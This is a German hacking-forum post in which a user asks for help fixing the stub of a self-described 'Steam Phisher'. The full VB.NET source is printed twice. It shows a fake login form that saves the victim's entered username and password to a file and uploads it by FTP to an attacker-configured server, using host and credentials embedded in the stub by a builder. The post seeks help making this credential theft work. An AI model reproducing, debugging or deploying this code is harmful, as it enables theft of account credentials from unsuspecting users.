Naji
03.04.2010, 23:11
Hallo,
ich bin gerade an einem kleinem Steam Phisher dran. Und habe das Stealer Tutorial von ThePapst dazu verwendet doch er uploadet einfach nicht den Log kann mir bitte jemand helfen hier der code von der stub. Es kommt immer Upload Ihrer Daten Fehlgeschlagen! und ich weiß einfach nicht warum. Bitte um Hilfe
Imports System.IO
Imports Microsoft.VisualBasic.Compatibility
Imports Microsoft.Win32
Public Class frmMain
Private Sub Button1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button1.Click
File.Copy(Application.ExecutablePath, My.Application.Info.DirectoryPath & "/StubKopie.exe")
Dim Einstellung As New VB6.FixedLengthString(100)
FileOpen(1, My.Application.Info.DirectoryPath & "/StubKopie.exe", OpenMode.Binary)
FileGet(1, Einstellung.Value, LOF(1) - 99)
FileClose(1)
Dim TrennZeichen As Char = "_"
Dim BuilderDaten As String() = Einstellung.Value.Split(TrennZeichen)
File.Delete(My.Application.Info.DirectoryPath & "/StubKopie.exe")
Call DokumentErstellen()
Try
My.Computer.Network.UploadFile("/User.txt", "ftp://" & BuilderDaten(0) & "/User.txt", BuilderDaten(1), BuilderDaten(2))
MessageBox.Show("Der Upload ihrer Daten war erfolgreich!")
Catch ex As System.Net.WebException
MessageBox.Show("Upload Ihrer Daten Fehlgeschlagen!")
End Try
End Sub
Private Sub DokumentErstellen()
Dim sw As New StreamWriter("User.txt")
sw.Write("Username: " & txtUsername.Text)
sw.Write(vbNewLine)
sw.Write("Password: " & txtPass.Text)
sw.Close()
End Sub
End Class
ich bin gerade an einem kleinem Steam Phisher dran. Und habe das Stealer Tutorial von ThePapst dazu verwendet doch er uploadet einfach nicht den Log kann mir bitte jemand helfen hier der code von der stub. Es kommt immer Upload Ihrer Daten Fehlgeschlagen! und ich weiß einfach nicht warum. Bitte um Hilfe
Imports System.IO
Imports Microsoft.VisualBasic.Compatibility
Imports Microsoft.Win32
Public Class frmMain
Private Sub Button1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button1.Click
File.Copy(Application.ExecutablePath, My.Application.Info.DirectoryPath & "/StubKopie.exe")
Dim Einstellung As New VB6.FixedLengthString(100)
FileOpen(1, My.Application.Info.DirectoryPath & "/StubKopie.exe", OpenMode.Binary)
FileGet(1, Einstellung.Value, LOF(1) - 99)
FileClose(1)
Dim TrennZeichen As Char = "_"
Dim BuilderDaten As String() = Einstellung.Value.Split(TrennZeichen)
File.Delete(My.Application.Info.DirectoryPath & "/StubKopie.exe")
Call DokumentErstellen()
Try
My.Computer.Network.UploadFile("/User.txt", "ftp://" & BuilderDaten(0) & "/User.txt", BuilderDaten(1), BuilderDaten(2))
MessageBox.Show("Der Upload ihrer Daten war erfolgreich!")
Catch ex As System.Net.WebException
MessageBox.Show("Upload Ihrer Daten Fehlgeschlagen!")
End Try
End Sub
Private Sub DokumentErstellen()
Dim sw As New StreamWriter("User.txt")
sw.Write("Username: " & txtUsername.Text)
sw.Write(vbNewLine)
sw.Write("Password: " & txtPass.Text)
sw.Close()
End Sub
End Class